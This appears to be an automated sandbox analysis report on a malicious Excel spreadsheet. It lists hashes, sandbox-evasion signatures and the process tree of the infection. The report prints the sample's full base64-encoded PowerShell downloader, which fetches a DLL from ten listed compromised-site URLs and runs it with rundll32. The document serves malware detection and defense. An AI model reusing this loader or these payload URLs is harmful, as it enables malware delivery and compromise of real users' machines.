Analysis
- max time kernel
126s - max time network
140s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
25/01/2022, 09:42
Static task
static1
Behavioral task
behavioral1
Sample
HZE944859393UX.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
HZE944859393UX.xls
Resource
win10-en-20211208
General
- Target HZE944859393UX.xls
- Size 142KB
- Sample220125-lpcvhadcal
- SHA256 e328a59f1530bbe5289dd25656f07b9864ccb36c938b7098148c145b5b29e41a
- MD5 65c3093acb3186f0b23f61a77b30ce3e
- SHA1 658aa953be65fe68318380f794c86613d5d77be1
- SHA512 57002877c57d71c97e54776eff24a7c14b4459f2c86d658d02125b721b0f5130be1ba8589e24b3f63b2554247c6bd9fd058efee31dfaa91083720c42890982f5
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://rkeeperua.com/include/FXBsVAOd1U/
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exe.dropper
http://pozhadvokat.com/images/QmZXA9kRUU8xZZF/
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exe.dropper
http://queens.renovatiog.ltd/wp-includes/LDH/
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exe.dropper
http://renovatiomarketing.com/renovatiomarketing.com/A/
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exe.dropper
http://remedy.eventmasti.com/vendor/Y2XclYoCdDzSSua/
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exe.dropper
http://ppdbsma.insanrabbany.sch.id/gkvvb/sXVYo8HsPSFQh/
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exe.dropper
http://pinnaclehomesusa.net/870xg9/pNp3a1iHCKaZwYEV/
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exe.dropper
http://dandtpremierhomes.com/eapn/lpN6dcAppn/
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exe.dropper
http://keluargamalaysia.bliblah.com/cgi-bin/FUzc3KOKN3DNeee/
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exe.dropper
http://crisbdev.com/wp-content/2dmXYgLVdkV/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2644 2512 cmd.exe 67 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2512 EXCEL.EXE - Suspicious use of SetWindowsHookEx 16 IoCs
pid Process 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE 2512 EXCEL.EXE - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2512 wrote to memory of 2644 2512 EXCEL.EXE 71 PID 2512 wrote to memory of 2644 2512 EXCEL.EXE 71 PID 2644 wrote to memory of 672 2644 cmd.exe 73 PID 2644 wrote to memory of 672 2644 cmd.exe 73
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\HZE944859393UX.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\rtyusdj.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcgBrAGUAZQBwAGUAcgB1AGEALgBjAG8AbQAvAGkAbgBjAGwAdQBkAGUALwBGAFgAQgBzAFYAQQBPAGQAMQBVAC8ALABoAHQAdABwADoALwAvAHAAbwB6AGgAYQBkAHYAbwBrAGEAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBRAG0AWgBYAEEAOQBrAFIAVQBVADgAeABaAFoARgAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AcwAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwARABIAC8ALABoAHQAdABwADoALwAvAHIAZQBuAG8AdgBhAHQAaQBvAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwByAGUAbgBvAHYAYQB0AGkAbwBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AQQAvACwAaAB0AHQAcAA6AC8ALwByAGUAbQBlAGQAeQAuAGUAdgBlAG4AdABtAGEAcwB0AGkALgBjAG8AbQAvAHYAZQBuAGQAbwByAC8AWQAyAFgAYwBsAFkAbwBDAGQARAB6AFMAUwB1AGEALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AYQAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBnAGsAdgB2AGIALwBzAFgAVgBZAG8AOABIAHMAUABTAEYAUQBoAC8ALABoAHQAdABwADoALwAvAHAAaQBuAG4AYQBjAGwAZQBoAG8AbQBlAHMAdQBzAGEALgBuAGUAdAAvADgANwAwAHgAZwA5AC8AcABOAHAAMwBhADEAaQBIAEMASwBhAFoAdwBZAEUAVgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAbgBkAHQAcAByAGUAbQBpAGUAcgBoAG8AbQBlAHMALgBjAG8AbQAvAGUAYQBwAG4ALwBsAHAATgA2AGQAYwBBAHAAcABuAC8ALABoAHQAdABwADoALwAvAGsAZQBsAHUAYQByAGcAYQBtAGEAbABhAHkAcwBpAGEALgBiAGwAaQBiAGwAYQBoAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ARgBVAHoAYwAzAEsATwBLAE4AMwBEAE4AZQBlAGUALwAsAGgAdAB0AHAAOgAvAC8AYwByAGkAcwBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAG0AWABZAGcATABWAGQAawBWAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵PID:672
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